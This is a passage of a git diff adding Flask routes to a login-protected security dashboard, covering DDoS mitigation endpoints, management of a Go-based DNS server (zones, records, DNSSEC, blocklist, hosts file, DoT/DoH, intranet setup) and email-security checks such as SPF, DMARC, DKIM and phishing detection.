return jsonify(_get_monitor().get_syn_protection_status())
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/syn-enable', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_syn_enable():
|
||||
"""Enable SYN flood protection."""
|
||||
success, msg = _get_monitor().enable_syn_protection()
|
||||
return jsonify({'message': msg, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/syn-disable', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_syn_disable():
|
||||
"""Disable SYN flood protection."""
|
||||
success, msg = _get_monitor().disable_syn_protection()
|
||||
return jsonify({'message': msg, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/config')
|
||||
@login_required
|
||||
def monitor_ddos_config_get():
|
||||
"""Get DDoS auto-mitigation config."""
|
||||
return jsonify(_get_monitor().get_ddos_config())
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/config', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_config_save():
|
||||
"""Save DDoS auto-mitigation config."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
config = _get_monitor().save_ddos_config(data)
|
||||
return jsonify({'config': config, 'success': True})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/auto-mitigate', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_auto_mitigate():
|
||||
"""Run auto-mitigation."""
|
||||
result = _get_monitor().auto_mitigate()
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/history')
|
||||
@login_required
|
||||
def monitor_ddos_history():
|
||||
"""Get mitigation history."""
|
||||
return jsonify({'history': _get_monitor().get_mitigation_history()})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/history/clear', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_history_clear():
|
||||
"""Clear mitigation history."""
|
||||
_get_monitor().clear_mitigation_history()
|
||||
return jsonify({'success': True})
|
||||
691
web/routes/dns_service.py
Normal file
691
web/routes/dns_service.py
Normal file
@@ -0,0 +1,691 @@
|
||||
"""DNS Service web routes — manage the Go-based DNS server from the dashboard."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
dns_service_bp = Blueprint('dns_service', __name__, url_prefix='/dns')
|
||||
|
||||
|
||||
def _mgr():
|
||||
from core.dns_service import get_dns_service
|
||||
return get_dns_service()
|
||||
|
||||
|
||||
@dns_service_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('dns_service.html')
|
||||
|
||||
|
||||
@dns_service_bp.route('/nameserver')
|
||||
@login_required
|
||||
def nameserver():
|
||||
return render_template('dns_nameserver.html')
|
||||
|
||||
|
||||
@dns_service_bp.route('/network-info')
|
||||
@login_required
|
||||
def network_info():
|
||||
"""Auto-detect local network info for EZ-Local setup."""
|
||||
import socket
|
||||
import subprocess as sp
|
||||
info = {'ok': True}
|
||||
|
||||
# Hostname
|
||||
info['hostname'] = socket.gethostname()
|
||||
try:
|
||||
info['fqdn'] = socket.getfqdn()
|
||||
except Exception:
|
||||
info['fqdn'] = info['hostname']
|
||||
|
||||
# Local IPs
|
||||
local_ips = []
|
||||
try:
|
||||
# Connect to external to find default route IP
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(('8.8.8.8', 53))
|
||||
default_ip = s.getsockname()[0]
|
||||
s.close()
|
||||
info['default_ip'] = default_ip
|
||||
except Exception:
|
||||
info['default_ip'] = '127.0.0.1'
|
||||
|
||||
# Gateway detection
|
||||
try:
|
||||
r = sp.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True, timeout=5)
|
||||
if r.stdout:
|
||||
parts = r.stdout.split()
|
||||
if 'via' in parts:
|
||||
info['gateway'] = parts[parts.index('via') + 1]
|
||||
except Exception:
|
||||
pass
|
||||
if 'gateway' not in info:
|
||||
try:
|
||||
# Windows: parse ipconfig or route print
|
||||
r = sp.run(['route', 'print', '0.0.0.0'], capture_output=True, text=True, timeout=5)
|
||||
for line in r.stdout.splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 3 and parts[0] == '0.0.0.0':
|
||||
info['gateway'] = parts[2]
|
||||
break
|
||||
except Exception:
|
||||
info['gateway'] = ''
|
||||
|
||||
# Subnet guess from default IP
|
||||
ip = info.get('default_ip', '')
|
||||
if ip and ip != '127.0.0.1':
|
||||
parts = ip.split('.')
|
||||
if len(parts) == 4:
|
||||
info['subnet'] = f"{parts[0]}.{parts[1]}.{parts[2]}.0/24"
|
||||
info['network_prefix'] = f"{parts[0]}.{parts[1]}.{parts[2]}"
|
||||
|
||||
# ARP table for existing hosts
|
||||
hosts = []
|
||||
try:
|
||||
r = sp.run(['arp', '-a'], capture_output=True, text=True, timeout=10)
|
||||
for line in r.stdout.splitlines():
|
||||
# Parse arp output (Windows: " 192.168.1.1 00-aa-bb-cc-dd-ee dynamic")
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
candidate = parts[0].strip()
|
||||
if candidate.count('.') == 3 and not candidate.startswith('224.') and not candidate.startswith('255.'):
|
||||
try:
|
||||
socket.inet_aton(candidate)
|
||||
mac = parts[1] if len(parts) >= 2 else ''
|
||||
# Try reverse DNS
|
||||
try:
|
||||
name = socket.gethostbyaddr(candidate)[0]
|
||||
except Exception:
|
||||
name = ''
|
||||
hosts.append({'ip': candidate, 'mac': mac, 'name': name})
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
info['hosts'] = hosts[:50] # Limit
|
||||
|
||||
return jsonify(info)
|
||||
|
||||
|
||||
@dns_service_bp.route('/nameserver/binary-info')
|
||||
@login_required
|
||||
def binary_info():
|
||||
"""Get info about the Go nameserver binary."""
|
||||
mgr = _mgr()
|
||||
binary = mgr.find_binary()
|
||||
info = {
|
||||
'ok': True,
|
||||
'found': binary is not None,
|
||||
'path': binary,
|
||||
'running': mgr.is_running(),
|
||||
'pid': mgr._pid,
|
||||
'config_path': mgr._config_path,
|
||||
'listen_dns': mgr._config.get('listen_dns', ''),
|
||||
'listen_api': mgr._config.get('listen_api', ''),
|
||||
'upstream': mgr._config.get('upstream', []),
|
||||
}
|
||||
if binary:
|
||||
import subprocess as sp
|
||||
try:
|
||||
r = sp.run([binary, '-version'], capture_output=True, text=True, timeout=5)
|
||||
info['version'] = r.stdout.strip() or r.stderr.strip()
|
||||
except Exception:
|
||||
info['version'] = 'unknown'
|
||||
return jsonify(info)
|
||||
|
||||
|
||||
@dns_service_bp.route('/nameserver/query', methods=['POST'])
|
||||
@login_required
|
||||
def query_test():
|
||||
"""Resolve a DNS name using the running nameserver (or system resolver)."""
|
||||
import socket
|
||||
import subprocess as sp
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
qtype = data.get('type', 'A').upper()
|
||||
use_local = data.get('use_local', True)
|
||||
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Name required'})
|
||||
|
||||
mgr = _mgr()
|
||||
listen = mgr._config.get('listen_dns', '0.0.0.0:53')
|
||||
host, port = (listen.rsplit(':', 1) + ['53'])[:2]
|
||||
if host in ('0.0.0.0', '::'):
|
||||
host = '127.0.0.1'
|
||||
|
||||
results = []
|
||||
|
||||
# Try nslookup / dig
|
||||
try:
|
||||
if use_local and mgr.is_running():
|
||||
cmd = ['nslookup', '-type=' + qtype, name, host]
|
||||
else:
|
||||
cmd = ['nslookup', '-type=' + qtype, name]
|
||||
r = sp.run(cmd, capture_output=True, text=True, timeout=10)
|
||||
raw = r.stdout + r.stderr
|
||||
results.append({'method': 'nslookup', 'output': raw.strip(), 'cmd': ' '.join(cmd)})
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception as e:
|
||||
results.append({'method': 'nslookup', 'output': str(e), 'cmd': ''})
|
||||
|
||||
# Python socket fallback for A records
|
||||
if qtype == 'A':
|
||||
try:
|
||||
addrs = socket.getaddrinfo(name, None, socket.AF_INET)
|
||||
ips = list(set(a[4][0] for a in addrs))
|
||||
results.append({'method': 'socket', 'output': ', '.join(ips) if ips else 'No results', 'cmd': f'getaddrinfo({name})'})
|
||||
except socket.gaierror as e:
|
||||
results.append({'method': 'socket', 'output': str(e), 'cmd': f'getaddrinfo({name})'})
|
||||
|
||||
return jsonify({'ok': True, 'name': name, 'type': qtype, 'results': results})
|
||||
|
||||
|
||||
@dns_service_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_mgr().status())
|
||||
|
||||
|
||||
@dns_service_bp.route('/start', methods=['POST'])
|
||||
@login_required
|
||||
def start():
|
||||
return jsonify(_mgr().start())
|
||||
|
||||
|
||||
@dns_service_bp.route('/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop():
|
||||
return jsonify(_mgr().stop())
|
||||
|
||||
|
||||
@dns_service_bp.route('/config', methods=['GET'])
|
||||
@login_required
|
||||
def get_config():
|
||||
return jsonify({'ok': True, 'config': _mgr().get_config()})
|
||||
|
||||
|
||||
@dns_service_bp.route('/config', methods=['PUT'])
|
||||
@login_required
|
||||
def update_config():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_mgr().update_config(data))
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones', methods=['GET'])
|
||||
@login_required
|
||||
def list_zones():
|
||||
try:
|
||||
zones = _mgr().list_zones()
|
||||
return jsonify({'ok': True, 'zones': zones})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones', methods=['POST'])
|
||||
@login_required
|
||||
def create_zone():
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'ok': False, 'error': 'Domain required'})
|
||||
try:
|
||||
return jsonify(_mgr().create_zone(domain))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>', methods=['GET'])
|
||||
@login_required
|
||||
def get_zone(domain):
|
||||
try:
|
||||
return jsonify(_mgr().get_zone(domain))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_zone(domain):
|
||||
try:
|
||||
return jsonify(_mgr().delete_zone(domain))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/records', methods=['GET'])
|
||||
@login_required
|
||||
def list_records(domain):
|
||||
try:
|
||||
records = _mgr().list_records(domain)
|
||||
return jsonify({'ok': True, 'records': records})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/records', methods=['POST'])
|
||||
@login_required
|
||||
def add_record(domain):
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
return jsonify(_mgr().add_record(
|
||||
domain,
|
||||
rtype=data.get('type', 'A'),
|
||||
name=data.get('name', ''),
|
||||
value=data.get('value', ''),
|
||||
ttl=int(data.get('ttl', 300)),
|
||||
priority=int(data.get('priority', 0)),
|
||||
))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/records/<record_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_record(domain, record_id):
|
||||
try:
|
||||
return jsonify(_mgr().delete_record(domain, record_id))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/mail-setup', methods=['POST'])
|
||||
@login_required
|
||||
def mail_setup(domain):
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
return jsonify(_mgr().setup_mail_records(
|
||||
domain,
|
||||
mx_host=data.get('mx_host', ''),
|
||||
dkim_key=data.get('dkim_key', ''),
|
||||
spf_allow=data.get('spf_allow', ''),
|
||||
))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/dnssec/enable', methods=['POST'])
|
||||
@login_required
|
||||
def dnssec_enable(domain):
|
||||
try:
|
||||
return jsonify(_mgr().enable_dnssec(domain))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zones/<domain>/dnssec/disable', methods=['POST'])
|
||||
@login_required
|
||||
def dnssec_disable(domain):
|
||||
try:
|
||||
return jsonify(_mgr().disable_dnssec(domain))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/metrics')
|
||||
@login_required
|
||||
def metrics():
|
||||
try:
|
||||
return jsonify({'ok': True, 'metrics': _mgr().get_metrics()})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
# ── New Go API proxies ────────────────────────────────────────────────
|
||||
|
||||
def _proxy_get(endpoint):
|
||||
try:
|
||||
return jsonify(_mgr()._api_get(endpoint))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
def _proxy_post(endpoint, data=None):
|
||||
try:
|
||||
return jsonify(_mgr()._api_post(endpoint, data))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
def _proxy_delete(endpoint):
|
||||
try:
|
||||
return jsonify(_mgr()._api_delete(endpoint))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/querylog')
|
||||
@login_required
|
||||
def querylog():
|
||||
limit = request.args.get('limit', '200')
|
||||
return _proxy_get(f'/api/querylog?limit={limit}')
|
||||
|
||||
|
||||
@dns_service_bp.route('/querylog', methods=['DELETE'])
|
||||
@login_required
|
||||
def clear_querylog():
|
||||
return _proxy_delete('/api/querylog')
|
||||
|
||||
|
||||
@dns_service_bp.route('/cache')
|
||||
@login_required
|
||||
def cache_list():
|
||||
return _proxy_get('/api/cache')
|
||||
|
||||
|
||||
@dns_service_bp.route('/cache', methods=['DELETE'])
|
||||
@login_required
|
||||
def cache_flush():
|
||||
key = request.args.get('key', '')
|
||||
if key:
|
||||
return _proxy_delete(f'/api/cache?key={key}')
|
||||
return _proxy_delete('/api/cache')
|
||||
|
||||
|
||||
@dns_service_bp.route('/blocklist')
|
||||
@login_required
|
||||
def blocklist_list():
|
||||
return _proxy_get('/api/blocklist')
|
||||
|
||||
|
||||
@dns_service_bp.route('/blocklist', methods=['POST'])
|
||||
@login_required
|
||||
def blocklist_add():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/blocklist', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/blocklist', methods=['DELETE'])
|
||||
@login_required
|
||||
def blocklist_remove():
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
return jsonify(_mgr()._api_urllib('/api/blocklist', 'DELETE', data)
|
||||
if not __import__('importlib').util.find_spec('requests')
|
||||
else _mgr()._api_delete_with_body('/api/blocklist', data))
|
||||
except Exception:
|
||||
# Fallback: use POST with _method override or direct urllib
|
||||
import json as _json
|
||||
import urllib.request
|
||||
mgr = _mgr()
|
||||
url = f'{mgr.api_base}/api/blocklist'
|
||||
body = _json.dumps(data).encode()
|
||||
req = urllib.request.Request(url, data=body, method='DELETE',
|
||||
headers={'Authorization': f'Bearer {mgr.api_token}',
|
||||
'Content-Type': 'application/json'})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||
return jsonify(_json.loads(resp.read()))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/stats/top-domains')
|
||||
@login_required
|
||||
def top_domains():
|
||||
limit = request.args.get('limit', '50')
|
||||
return _proxy_get(f'/api/stats/top-domains?limit={limit}')
|
||||
|
||||
|
||||
@dns_service_bp.route('/stats/query-types')
|
||||
@login_required
|
||||
def query_types():
|
||||
return _proxy_get('/api/stats/query-types')
|
||||
|
||||
|
||||
@dns_service_bp.route('/stats/clients')
|
||||
@login_required
|
||||
def client_stats():
|
||||
return _proxy_get('/api/stats/clients')
|
||||
|
||||
|
||||
@dns_service_bp.route('/resolver/ns-cache')
|
||||
@login_required
|
||||
def ns_cache():
|
||||
return _proxy_get('/api/resolver/ns-cache')
|
||||
|
||||
|
||||
@dns_service_bp.route('/resolver/ns-cache', methods=['DELETE'])
|
||||
@login_required
|
||||
def flush_ns_cache():
|
||||
return _proxy_delete('/api/resolver/ns-cache')
|
||||
|
||||
|
||||
@dns_service_bp.route('/rootcheck')
|
||||
@login_required
|
||||
def rootcheck():
|
||||
return _proxy_get('/api/rootcheck')
|
||||
|
||||
|
||||
@dns_service_bp.route('/benchmark', methods=['POST'])
|
||||
@login_required
|
||||
def benchmark():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/benchmark', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/forwarding')
|
||||
@login_required
|
||||
def forwarding_list():
|
||||
return _proxy_get('/api/forwarding')
|
||||
|
||||
|
||||
@dns_service_bp.route('/forwarding', methods=['POST'])
|
||||
@login_required
|
||||
def forwarding_add():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/forwarding', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/forwarding', methods=['DELETE'])
|
||||
@login_required
|
||||
def forwarding_remove():
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
import json as _json, urllib.request
|
||||
mgr = _mgr()
|
||||
url = f'{mgr.api_base}/api/forwarding'
|
||||
body = _json.dumps(data).encode()
|
||||
req = urllib.request.Request(url, data=body, method='DELETE',
|
||||
headers={'Authorization': f'Bearer {mgr.api_token}',
|
||||
'Content-Type': 'application/json'})
|
||||
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||
return jsonify(_json.loads(resp.read()))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/zone-export/<domain>')
|
||||
@login_required
|
||||
def zone_export(domain):
|
||||
return _proxy_get(f'/api/zone-export/{domain}')
|
||||
|
||||
|
||||
@dns_service_bp.route('/zone-import/<domain>', methods=['POST'])
|
||||
@login_required
|
||||
def zone_import(domain):
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post(f'/api/zone-import/{domain}', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/zone-clone', methods=['POST'])
|
||||
@login_required
|
||||
def zone_clone():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/zone-clone', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/zone-bulk-records/<domain>', methods=['POST'])
|
||||
@login_required
|
||||
def bulk_records(domain):
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post(f'/api/zone-bulk-records/{domain}', data)
|
||||
|
||||
|
||||
# ── Hosts file management ────────────────────────────────────────────
|
||||
|
||||
@dns_service_bp.route('/hosts')
|
||||
@login_required
|
||||
def hosts_list():
|
||||
return _proxy_get('/api/hosts')
|
||||
|
||||
|
||||
@dns_service_bp.route('/hosts', methods=['POST'])
|
||||
@login_required
|
||||
def hosts_add():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/hosts', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/hosts', methods=['DELETE'])
|
||||
@login_required
|
||||
def hosts_remove():
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
import json as _json, urllib.request
|
||||
mgr = _mgr()
|
||||
url = f'{mgr.api_base}/api/hosts'
|
||||
body = _json.dumps(data).encode()
|
||||
req_obj = urllib.request.Request(url, data=body, method='DELETE',
|
||||
headers={'Authorization': f'Bearer {mgr.api_token}',
|
||||
'Content-Type': 'application/json'})
|
||||
with urllib.request.urlopen(req_obj, timeout=5) as resp:
|
||||
return jsonify(_json.loads(resp.read()))
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@dns_service_bp.route('/hosts/import', methods=['POST'])
|
||||
@login_required
|
||||
def hosts_import():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/hosts/import', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/hosts/export')
|
||||
@login_required
|
||||
def hosts_export():
|
||||
return _proxy_get('/api/hosts/export')
|
||||
|
||||
|
||||
# ── Encryption (DoT / DoH) ──────────────────────────────────────────
|
||||
|
||||
@dns_service_bp.route('/encryption')
|
||||
@login_required
|
||||
def encryption_status():
|
||||
return _proxy_get('/api/encryption')
|
||||
|
||||
|
||||
@dns_service_bp.route('/encryption', methods=['PUT', 'POST'])
|
||||
@login_required
|
||||
def encryption_update():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/encryption', data)
|
||||
|
||||
|
||||
@dns_service_bp.route('/encryption/test', methods=['POST'])
|
||||
@login_required
|
||||
def encryption_test():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return _proxy_post('/api/encryption/test', data)
|
||||
|
||||
|
||||
# ── EZ Intranet Domain ──────────────────────────────────────────────
|
||||
|
||||
@dns_service_bp.route('/ez-intranet', methods=['POST'])
|
||||
@login_required
|
||||
def ez_intranet():
|
||||
"""One-click intranet domain setup. Creates zone + host records + reverse zone."""
|
||||
import socket
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'ok': False, 'error': 'Domain name required'})
|
||||
|
||||
mgr = _mgr()
|
||||
results = {'ok': True, 'domain': domain, 'steps': []}
|
||||
|
||||
# Detect local network info
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(('8.8.8.8', 53))
|
||||
local_ip = s.getsockname()[0]
|
||||
s.close()
|
||||
except Exception:
|
||||
local_ip = '127.0.0.1'
|
||||
|
||||
hostname = socket.gethostname()
|
||||
|
||||
# Step 1: Create the zone
|
||||
try:
|
||||
r = mgr.create_zone(domain)
|
||||
results['steps'].append({'step': 'Create zone', 'ok': r.get('ok', False)})
|
||||
except Exception as e:
|
||||
results['steps'].append({'step': 'Create zone', 'ok': False, 'error': str(e)})
|
||||
|
||||
# Step 2: Add server record (ns.domain -> local IP)
|
||||
records = [
|
||||
{'type': 'A', 'name': f'ns.{domain}.', 'value': local_ip, 'ttl': 3600},
|
||||
{'type': 'A', 'name': f'{domain}.', 'value': local_ip, 'ttl': 3600},
|
||||
{'type': 'A', 'name': f'{hostname}.{domain}.', 'value': local_ip, 'ttl': 3600},
|
||||
]
|
||||
|
||||
# Add custom hosts from request
|
||||
for host in data.get('hosts', []):
|
||||
ip = host.get('ip', '').strip()
|
||||
name = host.get('name', '').strip()
|
||||
if ip and name:
|
||||
if not name.endswith('.'):
|
||||
name = f'{name}.{domain}.'
|
||||
records.append({'type': 'A', 'name': name, 'value': ip, 'ttl': 3600})
|
||||
|
||||
for rec in records:
|
||||
try:
|
||||
r = mgr.add_record(domain, rtype=rec['type'], name=rec['name'],
|
||||
value=rec['value'], ttl=rec['ttl'])
|
||||
results['steps'].append({'step': f'Add {rec["name"]} -> {rec["value"]}', 'ok': r.get('ok', False)})
|
||||
except Exception as e:
|
||||
results['steps'].append({'step': f'Add {rec["name"]}', 'ok': False, 'error': str(e)})
|
||||
|
||||
# Step 3: Add hosts file entries too for immediate local resolution
|
||||
try:
|
||||
import json as _json, urllib.request
|
||||
hosts_entries = [
|
||||
{'ip': local_ip, 'hostname': domain, 'aliases': [hostname + '.' + domain]},
|
||||
]
|
||||
for host in data.get('hosts', []):
|
||||
ip = host.get('ip', '').strip()
|
||||
name = host.get('name', '').strip()
|
||||
if ip and name:
|
||||
hosts_entries.append({'ip': ip, 'hostname': name + '.' + domain if '.' not in name else name})
|
||||
|
||||
for entry in hosts_entries:
|
||||
body = _json.dumps(entry).encode()
|
||||
url = f'{mgr.api_base}/api/hosts'
|
||||
req_obj = urllib.request.Request(url, data=body, method='POST',
|
||||
headers={'Authorization': f'Bearer {mgr.api_token}',
|
||||
'Content-Type': 'application/json'})
|
||||
urllib.request.urlopen(req_obj, timeout=5)
|
||||
results['steps'].append({'step': 'Add hosts entries', 'ok': True})
|
||||
except Exception as e:
|
||||
results['steps'].append({'step': 'Add hosts entries', 'ok': False, 'error': str(e)})
|
||||
|
||||
# Step 4: Create reverse zone if requested
|
||||
if data.get('reverse_zone', True):
|
||||
parts = local_ip.split('.')
|
||||
if len(parts) == 4:
|
||||
rev_zone = f'{parts[2]}.{parts[1]}.{parts[0]}.in-addr.arpa'
|
||||
try:
|
||||
mgr.create_zone(rev_zone)
|
||||
# Add PTR for server
|
||||
mgr.add_record(rev_zone, rtype='PTR',
|
||||
name=f'{parts[3]}.{rev_zone}.',
|
||||
value=f'{hostname}.{domain}.', ttl=3600)
|
||||
results['steps'].append({'step': f'Create reverse zone {rev_zone}', 'ok': True})
|
||||
except Exception as e:
|
||||
results['steps'].append({'step': 'Create reverse zone', 'ok': False, 'error': str(e)})
|
||||
|
||||
results['local_ip'] = local_ip
|
||||
results['hostname'] = hostname
|
||||
return jsonify(results)
|
||||
159
web/routes/email_sec.py
Normal file
159
web/routes/email_sec.py
Normal file
@@ -0,0 +1,159 @@
|
||||
"""Email Security routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
email_sec_bp = Blueprint('email_sec', __name__, url_prefix='/email-sec')
|
||||
|
||||
|
||||
def _get_es():
|
||||
from modules.email_sec import get_email_sec
|
||||
return get_email_sec()
|
||||
|
||||
|
||||
@email_sec_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('email_sec.html')
|
||||
|
||||
|
||||
@email_sec_bp.route('/domain', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_domain():
|
||||
"""Full domain email security analysis."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'error': 'Domain is required'}), 400
|
||||
return jsonify(_get_es().analyze_domain(domain))
|
||||
|
||||
|
||||
@email_sec_bp.route('/spf', methods=['POST'])
|
||||
@login_required
|
||||
def check_spf():
|
||||
"""Check SPF record for a domain."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'error': 'Domain is required'}), 400
|
||||
return jsonify(_get_es().check_spf(domain))
|
||||
|
||||
|
||||
@email_sec_bp.route('/dmarc', methods=['POST'])
|
||||
@login_required
|
||||
def check_dmarc():
|
||||
"""Check DMARC record for a domain."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'error': 'Domain is required'}), 400
|
||||
return jsonify(_get_es().check_dmarc(domain))
|
||||
|
||||
|
||||
@email_sec_bp.route('/dkim', methods=['POST'])
|
||||
@login_required
|
||||
def check_dkim():
|
||||
"""Check DKIM selectors for a domain."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'error': 'Domain is required'}), 400
|
||||
selectors = data.get('selectors')
|
||||
if selectors and isinstance(selectors, str):
|
||||
selectors = [s.strip() for s in selectors.split(',') if s.strip()]
|
||||
return jsonify(_get_es().check_dkim(domain, selectors or None))
|
||||
|
||||
|
||||
@email_sec_bp.route('/mx', methods=['POST'])
|
||||
@login_required
|
||||
def check_mx():
|
||||
"""Check MX records for a domain."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'error': 'Domain is required'}), 400
|
||||
return jsonify(_get_es().check_mx(domain))
|
||||
|
||||
|
||||
@email_sec_bp.route('/headers', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_headers():
|
||||
"""Analyze raw email headers."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
raw_headers = data.get('raw_headers', '').strip()
|
||||
if not raw_headers:
|
||||
return jsonify({'error': 'Raw headers are required'}), 400
|
||||
return jsonify(_get_es().analyze_headers(raw_headers))
|
||||
|
||||
|
||||
@email_sec_bp.route('/phishing', methods=['POST'])
|
||||
@login_required
|
||||
def detect_phishing():
|
||||
"""Detect phishing indicators in email content."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
email_content = data.get('email_content', '').strip()
|
||||
if not email_content:
|
||||
return jsonify({'error': 'Email content is required'}), 400
|
||||
return jsonify(_get_es().detect_phishing(email_content))
|
||||
|
||||
|
||||
@email_sec_bp.route('/mailbox/search', methods=['POST'])
|
||||
@login_required
|
||||
def mailbox_search():
|
||||
"""Search a mailbox for emails."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
username = data.get('username', '').strip()
|
||||
password = data.get('password', '')
|
||||
if not host or not username or not password:
|
||||
return jsonify({'error': 'Host, username, and password are required'}), 400
|
||||
return jsonify(_get_es().search_mailbox(
|
||||
host=host,
|
||||
username=username,
|
||||
password=password,
|
||||
protocol=data.get('protocol', 'imap'),
|
||||
search_query=data.get('query') or None,
|
||||
folder=data.get('folder', 'INBOX'),
|
||||
use_ssl=data.get('ssl', True),
|
||||
